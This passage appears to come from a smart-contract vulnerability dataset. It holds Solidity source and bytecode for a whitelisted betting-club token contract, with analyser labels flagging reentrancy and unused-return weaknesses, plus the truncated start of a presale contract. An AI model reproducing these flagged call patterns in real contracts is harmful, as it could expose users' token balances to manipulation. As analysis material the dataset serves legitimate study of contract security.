like ROLE_ADMIN below, * to avoid typos. */ contract RBAC { using Roles for Roles.Role; mapping (string => Roles.Role) private roles; event RoleAdded(address indexed operator, string role); event RoleRemoved(address indexed operator, string role); /** * @dev reverts if addr does not have role * @param _operator address * @param _role the name of the role * // reverts */ function checkRole(address _operator, string _role) view public { roles[_role].check(_operator); } /** * @dev determine if addr has role * @param _operator address * @param _role the name of the role * @return bool */ function hasRole(address _operator, string _role) view public returns (bool) { return roles[_role].has(_operator); } /** * @dev add a role to an address * @param _operator address * @param _role the name of the role */ function addRole(address _operator, string _role) internal { roles[_role].add(_operator); emit RoleAdded(_operator, _role); } /** * @dev remove a role from an address * @param _operator address * @param _role the name of the role */ function removeRole(address _operator, string _role) internal { roles[_role].remove(_operator); emit RoleRemoved(_operator, _role); } /** * @dev modifier to scope access to a single role (uses msg.sender as addr) * @param _role the name of the role * // reverts */ modifier onlyRole(string _role) { checkRole(msg.sender, _role); _; } /** * @dev modifier to scope access to a set of roles (uses msg.sender as addr) * @param _roles the names of the roles to scope access to * // reverts * * @TODO - when solidity supports dynamic arrays as arguments to modifiers, provide this * see: https://github.com/ethereum/solidity/issues/2467 */ // modifier onlyRoles(string[] _roles) { // bool hasAnyRole = false; // for (uint8 i = 0; i < _roles.length; i++) { // if (hasRole(msg.sender, _roles[i])) { // hasAnyRole = true; // break; // } // } // require(hasAnyRole); // _; // } } /** * @title Whitelist * @dev The Whitelist contract has a whitelist of addresses, and provides basic authorization control functions. * This simplifies the implementation of "user permissions". */ contract Whitelist is Ownable, RBAC { string public constant ROLE_WHITELISTED = "whitelist"; /** * @dev Throws if operator is not whitelisted. * @param _operator address */ modifier onlyIfWhitelisted(address _operator) { checkRole(_operator, ROLE_WHITELISTED); _; } /** * @dev add an address to the whitelist * @param _operator address * @return true if the address was added to the whitelist, false if the address was already in the whitelist */ function addAddressToWhitelist(address _operator) onlyOwner public { addRole(_operator, ROLE_WHITELISTED); } /** * @dev getter to determine if address is in whitelist */ function whitelist(address _operator) public view returns (bool) { return hasRole(_operator, ROLE_WHITELISTED); } /** * @dev add addresses to the whitelist * @param _operators addresses * @return true if at least one address was added to the whitelist, * false if all addresses were already in the whitelist */ function addAddressesToWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { addAddressToWhitelist(_operators[i]); } } /** * @dev remove an address from the whitelist * @param _operator address * @return true if the address was removed from the whitelist, * false if the address wasn't in the whitelist in the first place */ function removeAddressFromWhitelist(address _operator) onlyOwner public { removeRole(_operator, ROLE_WHITELISTED); } /** * @dev remove addresses from the whitelist * @param _operators addresses * @return true if at least one address was removed from the whitelist, * false if all addresses weren't in the whitelist in the first place */ function removeAddressesFromWhitelist(address[] _operators) onlyOwner public { for (uint256 i = 0; i < _operators.length; i++) { removeAddressFromWhitelist(_operators[i]); } } } contract ClubAccessControl is Whitelist { bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused { require(paused); _; } } contract HKHcoinInterface { mapping (address => uint256) public balanceOf; function mintToken(address target, uint256 mintedAmount) public; function burnFrom(address _from, uint256 _value) public returns (bool success); } contract PlayerFactory is ClubAccessControl { struct Player { bool isFreezed; bool isExist; } mapping (address => Player) public players; HKHcoinInterface hkhconinContract; uint initCoins = 1000000; modifier onlyIfPlayerNotFreezed(address _playerAddress) { require (!players[_playerAddress].isFreezed); _; } modifier onlyIfPlayerExist(address _playerAddress) { require (players[_playerAddress].isExist); _; } event NewPlayer(address indexed _playerAddress); function setHKHcoinAddress(address _address) external onlyIfWhitelisted(msg.sender) { hkhconinContract = HKHcoinInterface(_address); } function getBalanceOfPlayer(address _playerAddress) public onlyIfPlayerExist(_playerAddress) view returns (uint) { return hkhconinContract.balanceOf(_playerAddress); } function joinClub(address _playerAddress) external onlyIfWhitelisted(msg.sender) whenNotPaused { require(!players[_playerAddress].isExist); players[_playerAddress] = Player(false, true); hkhconinContract.mintToken(_playerAddress, initCoins); emit NewPlayer(_playerAddress); } function reset(address _playerAddress) external onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) whenNotPaused { uint balance = hkhconinContract.balanceOf(_playerAddress); if(balance > initCoins) _destroy(_playerAddress, balance - initCoins); else if(balance < initCoins) _recharge(_playerAddress, initCoins - balance); emit NewPlayer(_playerAddress); } function recharge(address _playerAddress, uint _amount) public onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) whenNotPaused { _recharge(_playerAddress, _amount); } function destroy(address _playerAddress, uint _amount) public onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) whenNotPaused { _destroy(_playerAddress, _amount); } function freezePlayer(address _playerAddress) public onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) whenNotPaused { players[_playerAddress].isFreezed = true; } function resumePlayer(address _playerAddress) public onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) whenNotPaused { players[_playerAddress].isFreezed = false; } function _recharge(address _playerAddress, uint _amount) internal { hkhconinContract.mintToken(_playerAddress, _amount); } function _destroy(address _playerAddress, uint _amount) internal { hkhconinContract.burnFrom(_playerAddress, _amount); } } /** * */ contract LotteryFactory is PlayerFactory { event BuyLottery( uint32 _id, address indexed _playerAddress, string _betline, string _place, uint32 _betAmount, uint32 indexed _date, uint8 indexed _race ); struct Lottery { uint32 betAmount; uint32 dividend; uint32 date; uint8 race; bool isPaid; string betline; string place; } Lottery[] public lotteries; mapping (uint => address) public lotteryToOwner; mapping (address => uint) ownerLotteryCount; constructor() public { addAddressToWhitelist(msg.sender); } function getLotteriesByOwner(address _owner) view external onlyIfPlayerExist(_owner) returns(uint[]) { uint[] memory result = new uint[](ownerLotteryCount[_owner]); uint counter = 0; for (uint i = 0; i < lotteries.length; i++) { if (lotteryToOwner[i] == _owner) { result[counter] = i; counter++; } } return result; } function createLottery( address _playerAddress, string _betline, string _place, uint32 _betAmount, uint32 _date, uint8 _race ) external onlyIfWhitelisted(msg.sender) onlyIfPlayerExist(_playerAddress) onlyIfPlayerNotFreezed(_playerAddress) whenNotPaused { uint32 id = uint32(lotteries.push(Lottery(_betAmount, 0, _date, _race, false, _betline, _place))) - 1; lotteryToOwner[id] = _playerAddress; ownerLotteryCount[_playerAddress]++; _destroy(_playerAddress, _betAmount); emit BuyLottery( id, _playerAddress, _betline, _place, _betAmount, _date, _race ); } function setDividendAndPayOut( uint32 _id, uint32 _dividend ) external onlyIfWhitelisted(msg.sender) whenNotPaused { if(lotteries[_id].isPaid == false) { lotteries[_id].dividend = _dividend; _recharge(lotteryToOwner[_id], lotteries[_id].dividend); lotteries[_id].isPaid = true; } } }
0x608060405260043610610154576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806303c63869146101595780630988ca8c1461019c5780631398e0761461022557806318b919e9146103885780631b49d82b146104185780631e5393cf1461045b578063217fe6c61461049e57806324953eaa1461053f578063286dd3f5146105a557806336351c7c146105e85780634296b4a7146106355780635c975abb146106785780636b8ab97d146106a7578063715018a6146106ea5780637b9417c814610701578063840d7fb614610744578063852a6bd4146107e45780638da5cb5b1461083b5780639b19251a14610892578063a24835d1146108ed578063d1fd260e1461093a578063e2eb41ff146109d2578063e2ec6ec314610a38578063eea6e72314610a9e578063ef65bdf214610ae1578063f2fde38b14610b4e575b600080fd5b34801561016557600080fd5b5061019a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b91565b005b3480156101a857600080fd5b50610223600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610ca9565b005b34801561023157600080fd5b5061025060048036038101908080359060200190929190505050610d2a565b604051808863ffffffff1663ffffffff1681526020018763ffffffff1663ffffffff1681526020018663ffffffff1663ffffffff1681526020018560ff1660ff168152602001841515151581526020018060200180602001838103835285818151815260200191508051906020019080838360005b838110156102e05780820151818401526020810190506102c5565b50505050905090810190601f16801561030d5780820380516001836020036101000a031916815260200191505b50838103825284818151815260200191508051906020019080838360005b8381101561034657808201518184015260208101905061032b565b50505050905090810190601f1680156103735780820380516001836020036101000a031916815260200191505b50995050505050505050505060405180910390f35b34801561039457600080fd5b5061039d610ef5565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156103dd5780820151818401526020810190506103c2565b50505050905090810190601f16801561040a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561042457600080fd5b50610459600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f2e565b005b34801561046757600080fd5b5061049c600480360381019080803563ffffffff169060200190929190803563ffffffff1690602001909291905050506111a9565b005b3480156104aa57600080fd5b50610525600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061134e565b604051808215151515815260200191505060405180910390f35b34801561054b57600080fd5b506105a3600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506113d5565b005b3480156105b157600080fd5b506105e6600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611471565b005b3480156105f457600080fd5b50610633600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061150e565b005b34801561064157600080fd5b50610676600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115d6565b005b34801561068457600080fd5b5061068d6116ee565b604051808215151515815260200191505060405180910390f35b3480156106b357600080fd5b506106e8600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611701565b005b3480156106f657600080fd5b506106ff611935565b005b34801561070d57600080fd5b50610742600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611a37565b005b34801561075057600080fd5b506107e2600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001908201803590602001919091929391929390803590602001908201803590602001919091929391929390803563ffffffff169060200190929190803563ffffffff169060200190929190803560ff169060200190929190505050611ad4565b005b3480156107f057600080fd5b50610825600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611f42565b6040518082815260200191505060405180910390f35b34801561084757600080fd5b506108506120a0565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561089e57600080fd5b506108d3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506120c5565b604051808215151515815260200191505060405180910390f35b3480156108f957600080fd5b50610938600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061210d565b005b34801561094657600080fd5b5061097b600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506121d5565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b838110156109be5780820151818401526020810190506109a3565b505050509050019250505060405180910390f35b3480156109de57600080fd5b50610a13600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050612364565b6040518083151515158152602001821515151581526020019250505060405180910390f35b348015610a4457600080fd5b50610a9c600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506123a2565b005b348015610aaa57600080fd5b50610adf600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061243e565b005b348015610aed57600080fd5b50610b0c600480360381019080803590602001909291905050506124c3565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b348015610b5a57600080fd5b50610b8f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506124f6565b005b33610bd1816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b81600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff161515610c2d57600080fd5b600260009054906101000a900460ff16151515610c4957600080fd5b6000600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908315150217905550505050565b610d26826001836040518082805190602001908083835b602083101515610ce55780518252602082019150602081019050602083039250610cc0565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061255d90919063ffffffff16565b5050565b600681815481101515610d3957fe5b90600052602060002090600302016000915090508060000160009054906101000a900463ffffffff16908060000160049054906101000a900463ffffffff16908060000160089054906101000a900463ffffffff169080600001600c9054906101000a900460ff169080600001600d9054906101000a900460ff1690806001018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610e4d5780601f10610e2257610100808354040283529160200191610e4d565b820191906000526020600020905b815481529060010190602001808311610e3057829003601f168201915b505050505090806002018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eeb5780601f10610ec057610100808354040283529160200191610eeb565b820191906000526020600020905b815481529060010190602001808311610ece57829003601f168201915b5050505050905087565b6040805190810160405280600981526020017f77686974656c697374000000000000000000000000000000000000000000000081525081565b33610f6e816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b600260009054906101000a900460ff16151515610f8a57600080fd5b600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16151515610fe657600080fd5b604080519081016040528060001515815260200160011515815250600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008201518160000160006101000a81548160ff02191690831515021790555060208201518160000160016101000a81548160ff021916908315150217905550905050600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c65068836005546040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561114a57600080fd5b505af115801561115e573d6000803e3d6000fd5b505050508173ffffffffffffffffffffffffffffffffffffffff167f52e92d4898337244a39bd42674ac561eadfd3959e947deec1c0ab82dd58b5a7560405160405180910390a25050565b336111e9816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b600260009054906101000a900460ff1615151561120557600080fd5b6000151560068463ffffffff1681548110151561121e57fe5b9060005260206000209060030201600001600d9054906101000a900460ff1615151415611349578160068463ffffffff1681548110151561125b57fe5b906000526020600020906003020160000160046101000a81548163ffffffff021916908363ffffffff160217905550611309600760008563ffffffff16815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1660068563ffffffff168154811015156112dc57fe5b906000526020600020906003020160000160049054906101000a900463ffffffff1663ffffffff16612576565b600160068463ffffffff1681548110151561132057fe5b9060005260206000209060030201600001600d6101000a81548160ff0219169083151502179055505b505050565b60006113cd836001846040518082805190602001908083835b60208310151561138c5780518252602082019150602081019050602083039250611367565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902061265790919063ffffffff16565b905092915050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561143257600080fd5b600090505b815181101561146d57611460828281518110151561145157fe5b90602001906020020151611471565b8080600101915050611437565b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156114cc57600080fd5b61150b816040805190810160405280600981526020017f77686974656c69737400000000000000000000000000000000000000000000008152506126b0565b50565b3361154e816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b82600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff1615156115aa57600080fd5b600260009054906101000a900460ff161515156115c657600080fd5b6115d08484612576565b50505050565b33611616816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b81600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16151561167257600080fd5b600260009054906101000a900460ff1615151561168e57600080fd5b6001600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160006101000a81548160ff021916908315150217905550505050565b600260009054906101000a900460ff1681565b600033611743816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b82600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16151561179f57600080fd5b600260009054906101000a900460ff161515156117bb57600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231856040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561187857600080fd5b505af115801561188c573d6000803e3d6000fd5b505050506040513d60208110156118a257600080fd5b810190808051906020019092919050505092506005548311156118d2576118cd8460055485036127e4565b6118ec565b6005548310156118eb576118ea848460055403612576565b5b5b8373ffffffffffffffffffffffffffffffffffffffff167f52e92d4898337244a39bd42674ac561eadfd3959e947deec1c0ab82dd58b5a7560405160405180910390a250505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561199057600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482060405160405180910390a260008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611a9257600080fd5b611ad1816040805190810160405280600981526020017f77686974656c69737400000000000000000000000000000000000000000000008152506128e9565b50565b600033611b16816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b89600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff161515611b7257600080fd5b8a600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160009054906101000a900460ff16151515611bcf57600080fd5b600260009054906101000a900460ff16151515611beb57600080fd5b6001600660e0604051908101604052808a63ffffffff168152602001600063ffffffff1681526020018963ffffffff1681526020018860ff1681526020016000151581526020018e8e8080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505081526020018c8c8080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050508152509080600181540180825580915050906001820390600052602060002090600302016000909192909190915060008201518160000160006101000a81548163ffffffff021916908363ffffffff16021790555060208201518160000160046101000a81548163ffffffff021916908363ffffffff16021790555060408201518160000160086101000a81548163ffffffff021916908363ffffffff160217905550606082015181600001600c6101000a81548160ff021916908360ff160217905550608082015181600001600d6101000a81548160ff02191690831515021790555060a0820151816001019080519060200190611d9d929190612bd3565b5060c0820151816002019080519060200190611dba929190612bd3565b5050500393508b600760008663ffffffff16815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600860008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008154809291906001019190505550611e778c8863ffffffff166127e4565b8460ff168663ffffffff168d73ffffffffffffffffffffffffffffffffffffffff167fc3bc8cc6238cfa4d5605573949d0190bdec10759f44769bd297b31b4f85295f0878f8f8f8f8f604051808763ffffffff1663ffffffff16815260200180602001806020018463ffffffff1663ffffffff16815260200183810383528888828181526020019250808284378201915050838103825286868281815260200192508082843782019150509850505050505050505060405180910390a4505050505050505050505050565b600081600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff161515611fa057600080fd5b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231846040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b15801561205d57600080fd5b505af1158015612071573d6000803e3d6000fd5b505050506040513d602081101561208757600080fd5b8101908080519060200190929190505050915050919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000612106826040805190810160405280600981526020017f77686974656c697374000000000000000000000000000000000000000000000081525061134e565b9050919050565b3361214d816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b82600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff1615156121a957600080fd5b600260009054906101000a900460ff161515156121c557600080fd5b6121cf84846127e4565b50505050565b60608060008084600360008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000160019054906101000a900460ff16151561223757600080fd5b600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040519080825280602002602001820160405280156122a55781602001602082028038833980820191505090505b50935060009250600091505b600680549050821015612358578573ffffffffffffffffffffffffffffffffffffffff166007600084815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141561234b5781848481518110151561233457fe5b906020019060200201818152505082806001019350505b81806001019250506122b1565b83945050505050919050565b60036020528060005260406000206000915090508060000160009054906101000a900460ff16908060000160019054906101000a900460ff16905082565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156123ff57600080fd5b600090505b815181101561243a5761242d828281518110151561241e57fe5b90602001906020020151611a37565b8080600101915050612404565b5050565b3361247e816040805190810160405280600981526020017f77686974656c6973740000000000000000000000000000000000000000000000815250610ca9565b81600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b60076020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561255157600080fd5b61255a81612a1d565b50565b6125678282612657565b151561257257600080fd5b5050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379c6506883836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b15801561263b57600080fd5b505af115801561264f573d6000803e3d6000fd5b505050505050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905092915050565b61272d826001836040518082805190602001908083835b6020831015156126ec57805182526020820191506020810190506020830392506126c7565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020612b1790919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fd211483f91fc6eff862467f8de606587a30c8fc9981056f051b897a418df803a826040518080602001828103825283818151815260200191508051906020019080838360005b838110156127a657808201518184015260208101905061278b565b50505050905090810190601f1680156127d35780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166379cc679083836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1580156128a957600080fd5b505af11580156128bd573d6000803e3d6000fd5b505050506040513d60208110156128d357600080fd5b8101908080519060200190929190505050505050565b612966826001836040518082805190602001908083835b6020831015156129255780518252602082019150602081019050602083039250612900565b6001836020036101000a0380198251168184511680821785525050505050509050019150509081526020016040518091039020612b7590919063ffffffff16565b8173ffffffffffffffffffffffffffffffffffffffff167fbfec83d64eaa953f2708271a023ab9ee82057f8f3578d548c1a4ba0b5b700489826040518080602001828103825283818151815260200191508051906020019080838360005b838110156129df5780820151818401526020810190506129c4565b50505050905090810190601f168015612a0c5780820380516001836020036101000a031916815260200191505b509250505060405180910390a25050565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515612a5957600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60018260000160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612c1457805160ff1916838001178555612c42565b82800160010185558215612c42579182015b82811115612c41578251825591602001919060010190612c26565b5b509050612c4f9190612c53565b5090565b612c7591905b80821115612c71576000816000905550600101612c59565b5090565b905600a165627a7a72305820ce1a108be10fa943aea5368ac4d9b69b5d440a72ca6add47c2cf0007df9c45400029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
8,356
0xae7bfcebdc846a06944bd60c20f7ebe4800a2640
// SPDX-License-Identifier: MIT pragma solidity 0.8.4; library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract FolkitoPresale{ using SafeMath for uint256; enum TypeOfMember{ NORMAL,WHITELISTED, PRIVATEMEMBER } address public owner; IERC20 public token; uint256 public _price = 0.00001 ether; uint256 public _privatePrice = 0.000001 ether; uint256 public _whiteListPrice = 0.000001 ether; uint256 